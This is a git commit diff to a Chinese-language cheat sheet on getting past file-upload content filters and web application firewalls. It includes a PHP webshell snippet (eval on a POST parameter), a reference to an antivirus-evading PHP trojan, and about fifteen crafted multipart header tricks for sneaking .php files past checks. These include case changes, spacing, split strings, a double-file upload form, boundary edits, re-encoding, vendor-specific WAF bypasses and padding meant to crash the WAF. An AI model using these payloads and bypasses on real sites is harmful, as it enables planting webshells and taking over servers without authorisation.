add 文件上传内容检测绕过

This commit is contained in:
Mrxn
2020-06-20 14:48:56 +08:00
parent 1440cadaa8
commit 9e6cc77dbf

View File

@@ -2,8 +2,9 @@
因为不知道目标使用的是 nginx 还是 Apache所以给两个参考链接
如果是nginx可以看看我这篇文章的0x01 CheckInhttps://www.cnpanda.net/ctf/383.html
如果是apache可以看看这篇文章https://thibaud-robin.fr/articles/bypass-filter-upload/
2.如果检测是`<?php ?>`
2.如果检测是`<?php ?>`
可以试一试使用其他标签,如
```
<script language="php">
eval($_POST[2333]);
@@ -18,6 +19,7 @@
```
3.如果检测的不是php标签是敏感内容的话这里送你一个免杀php马
```php
<?php
@@ -44,7 +46,7 @@ if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){
4.绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里`Content-Disposition: form-data; name="file"; filename="ian.php"`
`form-data; ` 修改为`~form-data;`
`form-data; ` 修改为`~form-data;`
5.通过替换大小写来进行绕过
```
Content-Disposition: form-data; name="file"; filename="yjh.php"
@@ -52,7 +54,7 @@ Content-Type: application/octet-stream
```
`Content-Disposition` 修改为`content-Disposition`
` form-data` 修改为`Form-data`
`Content-Type` 修改为`content-Type`
`Content-Type` 修改为`content-Type`
6.通过删减空格来进行绕过
```
Content-Disposition: form-data; name="file"; filename="yjh.php"
@@ -60,12 +62,12 @@ Content-Type: application/octet-stream
```
`Content-Disposition: form-data` 冒号后面 增加或减少一个空格
`form-data; name="file";` 分号后面 增加或减少一个空格
`Content-Type: application/octet-stream` 冒号后面 增加一个空格
`Content-Type: application/octet-stream` 冒号后面 增加一个空格
7.通过字符串拼接绕过
`Content-Disposition: form-data; name="file"; filename="yjh3.php"`
` form-data` 修改为 ` f+orm-data`
`from-data` 修改为 `form-d+ata`
`from-data` 修改为 `form-d+ata`
8.双文件上传绕过
```html
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
@@ -75,11 +77,12 @@ name="form1" enctype="multipart/formdata">
<input type="submit" name="Submit" value="上传">
</form>
```
9.HTTP header 属性值绕过
`Content-Disposition: form-data; name="file"; filename="yjh.php"`
我们通过替换`form-data``*`来绕过
`Content-Disposition: *; name="file"; filename="yjh.php"`
`Content-Disposition: *; name="file"; filename="yjh.php"`
10.HTTP header 属性名称绕过
源代码:
```
@@ -91,7 +94,7 @@ Content-Type: image/png
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
```
删除掉`ontent-Type: image/png`只留下`c`,将`.php``c`后面即可但是要注意额双引号要跟着c.php".
删除掉`ontent-Type: image/png`只留下`c`,将`.php``c`后面即可但是要注意额双引号要跟着c.php".
11.等效替换绕过
原内容:
```
@@ -101,7 +104,7 @@ Content-Type: multipart/form-data; boundary=---------------------------471463142
```
Content-Type: multipart/form-data; boundary =---------------------------471463142114
```
`boundary`后面加入空格。
`boundary`后面加入空格。
12.修改编码绕过
使用`UTF-16``Unicode``双URL编码`等等
13.WTS-WAF 绕过上传
@@ -116,8 +119,9 @@ Content-Disposition: form-data; name="up_picture"; filename="xss.php"
14.百度云上传绕过
百度云绕过就简单的很多很多在对文件名大小写上面没有检测php是过了的Php就能过或者PHP一句话自己合成图片马用Xise连接即可。
`Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"`
`Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"`
15.填充垃圾数据造成溢出后使WAF崩掉
```
Content-Disposition: 字段溢出即可 比如Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA一直加就行了十万++
```